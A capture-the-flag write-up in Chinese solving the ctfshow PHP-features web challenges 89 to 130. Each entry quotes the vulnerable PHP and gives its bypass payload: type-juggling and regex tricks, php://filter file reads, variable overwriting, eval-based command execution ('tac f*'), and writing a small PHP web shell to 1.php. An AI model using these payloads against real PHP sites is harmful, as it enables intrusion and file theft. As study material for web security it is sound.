ctfshow web入門php特性


php特性

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    } 
intval() 的返回值是整型,1或者0。
作用於數組時當數組為空,返回值是0,不為空則為1,並無報錯

這題會對num傳入的值進行正則匹配,如果num是一個數,就會返回no no no

image-20211030142923006所以我們可以用數組

url/?num[]=1

web90


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
int intval ( mixed $var [, int $base = 10 ] )
參數說明:
    $var:要轉換成 integer 的數量值。
    $base:轉化所使用的進制。
如果 base 是 0,通過檢測 var 的格式來決定使用的進制:
    如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
    如果字符串以 "0" 開始,使用 8 進制(octal);否則,
    將使用 10 進制 (decimal)。
if(intval($num,0)===4476){
        echo $flag;
這句話是base=0,所以會對num的格式進行檢測,相當於個解密
直接使用4476的16進制編碼傳上去

構造

/?num=0x117c

發現flag

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
/i表示匹配大小寫

字符 ^ 和 $ 同時使用時,表示精確匹配,需要匹配以php開頭和以php結尾

m
多(more)行匹配
若存在換行\n並且有開始^或結束$符的情況下,
將以換行為分隔符,逐行進行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
這樣其實是符合正則表達式的,因為匹配的時候 先是匹配換行符前面的,接着匹配換行符后面的,兩個都是abc所以可以通過正則表達式。

s
特殊字符圓點 . 中包含換行符
默認的圓點 . 是匹配除換行符 \n 之外的任何單字符,加上s之后, .包含換行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
這樣匹配到的有三個 bg b\n bs

g
全局匹配,查找所有匹配項

A
強制從目標字符串開頭匹配;

D
如果使用$限制結尾字符,則不允許結尾有換行; 

e
配合函數preg_replace()使用, 可以把匹配來的字符串當作正則表達式執行; 

第一個preg_match匹配多行匹配“php” 第二個preg_match匹配第一行中的“php”

%0a是換行

url:

/?cmd=%0aphp
/?cmd=abc%0aphp
/?cmd=php%0a%0a
/?cmd=php%0aphp
都可以

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

姿勢一:

與web90的做法一樣

姿勢二:

e這個字母比較特殊,在PHP中會被當作科學計數法。這是PHP在處理字符串時的一個缺陷

所以為了繞過第6行:==4476,我們就可以構造4476e123,被認為是科學計數法,值是:4476×10^123

第9行intval()函數處理時遇到字母就停止,所以只讀取4476而不是4476e123,從而繞過

?num=4476e123

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

過濾了字母,所以不能用16進制(0x??)了

可以用8進制或者小數點

/?num=010574
或
/?num=4476.1   //傳入小數會直接取整從而實現繞過

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
strpos()函數返回匹配的字符位置,默認從0開始

strpos(string,find,start)
string 	必需。規定要搜索的字符串。
find 	必需。規定要查找的字符串。
start 	可選。規定在何處開始搜索。

image-20211030145425013

因為if(!strpos($num, "0")),所以傳入的參數的第一位不能為0,如果是0,就die

?num=%0a010574
或
?num=%20010574
或         
?num= 010574(空格+010574)
或
?num=4476.0

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

這個多過濾了小數點

所以不能再用小數

?num=%0a010574
或
?num=%20010574
或         
?num= 010574(空格+010574)

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

參數不能等於flag.php

/?u=/var/www/html/flag.php              絕對路徑
/?u=./flag.php                          相對路徑
/?u=php://filter/resource=flag.php      php偽協議             

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

姿勢:

利用數組

MD5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。

POST: a[]=1&b[]=2

web98


include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 
&是引用符號,意思是:不同的名字訪問同一個變量內容。php的引用是在變量或者函數、對象等前面加上&符號,PHP 的引用允許你用兩個變量來指向同一個內容

$_GET?$_GET=&$_POST:'flag';意思:如果存在get方式,就把post的地址傳給get,相當於get,只不過要利用post傳一下參數

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通過GET方法傳參'HTTP_FLAG=flag',就highlight_file($flag)。否則highlight_file(__FILE__)

中間代碼不用看,直接

GET傳參:/?111    //隨便傳,不能沒有
POST傳參:HTTP_FLAG=flag  

web99


highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));    ////往$allow 末尾追加一個隨機數
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){   //搜索
    file_put_contents($_GET['n'], $_POST['content']);    //把content的數據寫入到n中
}

?> 
$allow = array();  //創建一個空數組

array_push() 函數向第一個參數的數組尾部添加一個或多個元素(入棧)

image-20211030155153576

rand() 函數返回隨機整數。

isset() 函數用於檢測變量是否已設置並且非 NULL。

in_array()

image-20211030155446037

file_put_contents() 函數把一個字符串寫入文件中。
如果文件不存在,將創建一個文件
如果成功,該函數將返回寫入文件中的字符數。如果失敗,則返回 False。

image-20211030155714919

?n=1.php
content=<?php system("ls");?>
訪問1.php即可

image-20211030160527233

?n=1.php
content=<?php system("tac flag36d.php");?>
訪問1.php即可

image-20211030160627192

web100


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?> 

new 對象

image-20211030163513615

is_numeric() 函數用於檢測變量是否為數字或數字字符串
如果指定的變量是數字和數字字符串則返回 TRUE,否則返回 FALSE

關於優先級

image-20211030163847126

= 的優先級都是高於and 和 or 的

所以$v1為數字即可讓$v0為True

所以,讓$ctfshow顯出來就行了

/?v1=1&v2=var_dump($ctfshow)/*&v3=*/;      //利用注釋符號/**/
或
/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;      //反引號執行命令
$flag_is_7c4e97b80x2d43ba0x2d48af0x2d8dbb0x2d5466a0ca6796

注意flag的形式是ctfshow{xxx-xxx-xxx-xxx}

0x2d      //-

ctfshow{7c4e97b8-43ba-48af-8dbb-5466a0ca6796}  //最后一段有12位

web101


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

過濾了很多符號

PHP Reflection API是PHP5才有的新功能,它是用來導出或提取出關於類、方法、屬性、參數等的詳細信息,包括注釋。
$class = new ReflectionClass(‘ctfshow’); // 建立ctfshow這個類的反射類
$instance = class −> newInstanceArgs(class->newInstanceArgs( class−>newInstanceArgs(args); // 相當於實例化ctfshow類
/?v1=1&v2=echo%20new%20ReflectionClass&v3=;
$flag_ff0cb5080x2d04850x2d41d70x2dac310x2d22389554a91 ] }

ctfshow{ff0cb508-0485-41d7-ac31-22389554a91}   最后一段是11位

交上之后,發現答案錯誤

最后一段少了1位,嘗試爆破,猜測是數字

image-20211030170816157

爆出!

ctfshow{ff0cb508-0485-41d7-ac31-22389554a916}

web102


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?> 

call_user_func(callback,parameter ) //是一個回調函數

第一個參數 callback 是被調用的回調函數(一般為閉包函數),其余參數是回調函數的參數。

會把參數過一下回調函數

	$s = substr($v2,2);
    $str = call_user_func($v1,$s);
    file_put_contents($v3,$str);
//主要是這三句話
先是第二句話,讓變量s過一下v1函數,變量s 是substr($v2,2);   這句話的意思是從下標為2的位置獲取字符串
然后file_put_contents,把str變量給v3

構造思路:

$v1:這里使用hex2bin()作為回調函數(16進制轉化為字符)
$v2:這里要求全是數字。
$v3:使用PHP偽協議寫入文件
$a=<?=`cat *`;
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等號在base64中只是起到填充的作用,不影響具體的數據內容,直接用去掉,=和帶着                        =的base64解碼出來的內容是相同的。
                       bin2hex是把ASCII 字符的字符串轉化為16進制
輸出   5044383959474e6864434171594473
帶e的話會被認為是科學計數法,可以通過is_numeric檢測。
因為是從下標為2的位置取的字符串,所以要在前面加兩個數字(隨意)
v2=005044383959474e6864434171594473

payload:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:v1=hex2bin          //這個就是把16進制轉換為ASCII 字符的字符串

訪問1.php后查看源代碼獲得flag

image-20211030210542496

web103

與102一樣

image-20211030211045760

web104


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

sha1與md5類似。都無法處理數組

get : v2[]=0
post: v1[]=1

或者用科學計數法(0exxx)

v1=aaK1STfY    //0e76658526655756207688271159624026011393
v2=aaO8zKZF    //0e89257456677279068558073954252716165668

web105


highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你還想要flag嘛?';
$suces='既然你想要那給你吧!';
/1/foreach($_GET as $key => $value){
    if($key==='error'){ 
        die("what are you doing?!");           //鍵名不能是error
    }
    $$key=$$value;        //變量覆蓋,意思就是$key的內容作為變量,例如:$key=xx,$$key=$xx
                            就是把你傳入的值給弄成變量
/2/}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");      //鍵值不能是flag
    }
    $$key=$$value;        //變量覆蓋
}
/3/if(!($_POST['flag']==$flag)){        //不相等就die($error)
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你還想要flag嘛?
(PHP 4, PHP 5, PHP 7, PHP 8)
foreach 語法結構提供了遍歷數組的簡單方式。foreach 僅能夠應用於數組和對象,如果嘗試應用於其他數據類型的變量,或者未初始化的變量將發出錯誤信息。有兩種語法:
foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement

第一種格式遍歷給定的 iterable_expression 迭代器。每次循環中,當前單元的值被賦給 $value。
第二種格式做同樣的事,只除了當前單元的鍵名也會在每次循環中被賦給變量 $key。 

image-20211031190231744

先說里面有幾個變量

$error
$suces
$flag  要輸出的變量

因為有變量覆蓋,所以可以稍加利用

變量覆蓋就是把傳入的值變成一個變量

/1/和/2/都好繞過

但是/3/不好繞,當時可以利用這一段

/3/
if(!($_POST['flag']==$flag)){
    die($error);

//可以讓error變量等於flag變量

構造:

?suces=flag		#GET  $suces=$flag
error=suces		#POST $error=$suces(此時,$flag的值就傳給了$suces和$error)
利用($_POST['flag']!==$flag),讓它輸出$error,因為$error=$flag,這樣就輸出了$flag

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

比104多加了個條件

$v1!=$v2

與104做法差不多

get : v2[]=0
post: v1[]=1
v1=aaK1STfY    //0e76658526655756207688271159624026011393
v2=aaO8zKZF    //0e89257456677279068558073954252716165668

web107


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

} 
parse_str(string,array)
string 	必需。規定要解析的字符串。
array 	可選。規定存儲變量的數組的名稱。該參數指示變量將被存儲到數組中。
運行實例:
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

output:Array ( [name] => Bill [age] => 60 ) 

image-20211101175408084

所以讓v2數組中flag的值等於變量v3的md5值就行了

讓v1=flag=e80118aff3ed3bc6f99038f65bef881b就可以讓 [flag] => e80118aff3ed3bc6f99038f65bef881b存入到v2數組中

構造:

?v3=harker
post:v1=flag=e80118aff3ed3bc6f99038f65bef881b

或者

?v3[]=1   #GET
v1="flag=0"   #POST

web108

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
error
ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的。
ereg函數存在NULL截斷漏洞,導致了正則過濾被繞過,所以可以使用%00截斷正則匹配
strrev() :反轉字符串
intval()函數遇到非數字字符就會停止識別, 877d識別為877
^[a-zA-Z]+$這個正則意思是:匹配所有大小寫字母一次或者多次(+號:一次或者多次)

構造:

?c=d%00d778    //16進制36d的10進制是877

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

} 
Exception 處理用於在指定的錯誤發生時改變腳本的正常流程,是php內置的異常處理類
通過異常處理類Exception(system(‘cmd’))可以運行指定代碼,並且能返回運行的結果

ReflectionClass 或者 ReflectionMethod 都為常用的反射類,可以理解為一個類的映射

構造:

?v1=Exception&v2=system("tac f*")

?v1=ReflectionClass&v2=system("tac f*")

?v1=ReflectionMethod&v2=system('tac f*')

web110


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

} 
getcwd()會將當前工作目錄的絕對路徑復制到參數buffer所指的內存空間中

利用FilesystmIterator文件系統迭代器

?v1=FilesystemIterator&v2=getcwd
訪問fl36dga.txt

web111


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

    


} 

首先v1的值必須是ctfshow

eval("$$v1 = &$$v2;");進行了賦值操作,會把v2的值賦給v1

$GLOBALS — 引用全局作用域中可用的全部變量
一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵。
運行測試:
$a=000;
$b=111;
var_dump($GLOBALS);

output:
  ["a"]=>
  int(000)
  ["b"]=>
  int(111)

構造:

?v1=ctfshow&v2=GLOBALS
//把$GLOBALS賦值給v2,然后v2再賦值給v1,即可將全部變量輸出.

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];      //輸入一個文件名
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 
is_file()函數檢查指定的文件名是否是正常的文件。如果文件存在且為正常的文件,則返回 true
php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。

構造:

?file=php://filter/resource=flag.php

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php//可打印字符引用編碼

?file=compress.zlib://flag.php		//壓縮

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

過濾了filter 所以偽協議不能用了,但是可以用其他的

?file=compress.zlib://flag.php

另解:

在linux中/proc/self/root是指向根目錄的,也就是如果在命令行中輸入
ls /proc/self/root,其實顯示的內容是根目錄下的內容,多次重復后繞過is_file.
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

補充個小知識點

在php中,require_once在調用時php會檢查該文件是否已經被包含過,如果是則不會再次包含

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "師傅們居然tql都是非預期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 師傅們居然tql都是非預期 哼!

filter可以用

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!
str_replace

image-20211101203718634

is_numeric() 函數用於檢測變量是否為數字或數字字符串。
num不能是36

語法
trim(string,charlist)

參數	描述
string	        必需。規定要檢查的字符串。
charlist	    可選。規定從字符串中刪除哪些字符。如果省略該參數,則移除下列所有字符:
                "\0"       - NULL
                "\t"       - 制表符
                "\n"       - 換行
                "\x0B"     - 垂直制表符
                "\r"       - 回車
                " "        - 空格

測試is_numeric()和trim()(繞過)

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
輸出:%0C(空格)、%2B(+號)、-、.(點)、0、1、2、3、4、5、6、7、8、9
+  .  被過濾   -號不能用(-36)
?num=%0c36       

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  //eval把字符串作為PHP代碼執行
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 
$_SERVER 是一個包含了諸如頭信息(header)、路徑(path)、以及腳本位置(script locations)等等信息的數組。
'argv'
    傳遞給該腳本的參數的數組。當腳本以命令行方式運行時,argv 變量傳遞給程序 C 語言樣式的命令行參數。當通過 GET 方式調用時,該變量包含query string。 
即$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]=(get傳參?后面的值)
例如:
?$fl0g=flag_give_me;   //get
$_SERVER[‘argv’][0]=$_SERVER[‘QUERY_STRING’]="$fl0g=flag_give_me;"

再說CTF_SHOW.COM

PHP變量命名規則:

只能包含:字母、數字、下划線,其中,只能以字母、下划線開頭
同時GET或POST方式傳進去的變量名,會自動將空格+ . [轉換為_
特殊字符[, GET或POST方式傳參時,變量名中的[也會被替換為_,但其后的字符就不會被替換了
如 CTF[SHOW.COM=>CTF_SHOW.COM

也可以用腳本本地爆破得出(沒測出來...)

web123爆破變量名.php:

<?php
var_dump($POST);
?>
web123test.py:

import requests
url="http://127.0.0.1/web123爆破變量名.php"
for i in range(0,129):
    i = chr(i)
    for j in range(0,129):
        j =chr(j)
        param="CTF"+i+"SHOW"+j+"COM"
        data ={ param:1,}
        #print(param)
        response=requests.post(url=url,data=data)
        page_text=response.text
        if "CTF_SHOW.COM" in page_text:
            print(i+"\t"+j+"\n")
            print(page_text)

姿勢一:

利用

eval("$c".";"); 和echo $flag; 

直接

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag	

姿勢二:

當GET方式傳入 賦值的語句$fl0g=flag_give_me;時

$a[0]=$_SERVER[‘argv’][0]="$fl0g=flag_give_me;"

eval()函數是將()里面的內容當作php來運行,可以讓這句話($fl0g=flag_give_me;)在php中進行賦值

然后通過echo $flag; 輸出flag值

?$fl0g=flag_give_me;                           #GET  
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])      #POST  

姿勢三:

+隔斷argv
parse_str — 將字符串解析成多個變量
?a=1+fl0g=flag_give_me                         #GET 
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])   #POST 

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 
?1=flag.php										          #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])    #POST

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

與web123類似

用姿勢一或者三都可以

姿勢一:
?$fl0g=flag_give_me;                           #GET  
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])      #POST 
姿勢三:
?a=1+fl0g=flag_give_me                         #GET 
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])   #POST 

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符檢測
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}
extract — 從數組中將變量導入到當前的符號表

思路:

get傳參,並賦值給$url,讓waf($url)==false,執行extract($_GET);,把get傳入的值導入,然后過if語句就o了

但是過濾了_  所以傳值ctf_show時,要注意一下,用空格( )代替_

( )可以用腳本fuzz出來(沒測出來...)

#web127.php

<?php
extract($_GET); 
if($ctf_show==='ilove36d'){
    echo "GET!";
}
import requests

url = "http://127.0.0.1/web127.php"

for i in range(0,129):
    # print(i)
    i = chr(i)
    p = "ctf"+i+"show"
    params = { p:"ilove36d"}
    reponse = requests.get(url=url,params=params)
    page = (reponse.text)
    if "GET!" in page:
        print(i)
        print("-"*20)
?ctf show=ilove36d

web128


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL 
 call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
 第一個參數 callback 是被調用的回調函數,其余參數是回調函數的參數。 

這一題的解題思路一定是這句話:

var_dump(call_user_func(call_user_func($f1,$f2)));

姿勢:

_()是gettext()的拓展函數
在開啟相關設定后,_("0")等價於gettext("0"),且就返回參數0   //_=gettext

<?php
echo gettext(666);   //輸出 666
echo _("666");		//輸出 666
?>

//https://www.cnblogs.com/lost-1987/articles/3309693.html
get_defined_vars — 返回由所有已定義變量所組成的數組 

構造:

?f1=_&f2=get_defined_vars

原理:

var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

image-20211104185857600

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}
 stripos(string $haystack, string $needle, int $offset = 0): int
 返回在字符串 haystack 中 needle 首次出現的數字位置。找的是needle
 與 strpos() 不同,stripos() 不區分大小寫。 
 如果未發現 needle 將返回 false。 //后面會用到
 readfile(string $filename, bool $use_include_path = false, resource $context = ?): int
 讀取文件並寫入到輸出緩沖。 
 
參數
filename
    要讀取的文件名。
use_include_path
    想要在 include_path 中搜索文件,可使用這個可選的第二個參數,設為 true。
context
    Stream 上下文(context) resource。
返回值
成功時返回從文件中讀入的字節數, 或者在失敗時返回 false

構造時f中要有ctfshow,從而執行readfile函數

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){     //不能匹配到/.+?ctfshow/
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){      //傳的$f中有ctfshow
        die('bye!!');
    }

    echo $flag;

} 

首先有個小知識點:

在PHP中,0===FALSE是錯誤的

<?php
if(0 === FALSE){die('11');}
else die('66');
?>

//66

姿勢一:PCRE回溯次數限制

P神博客:
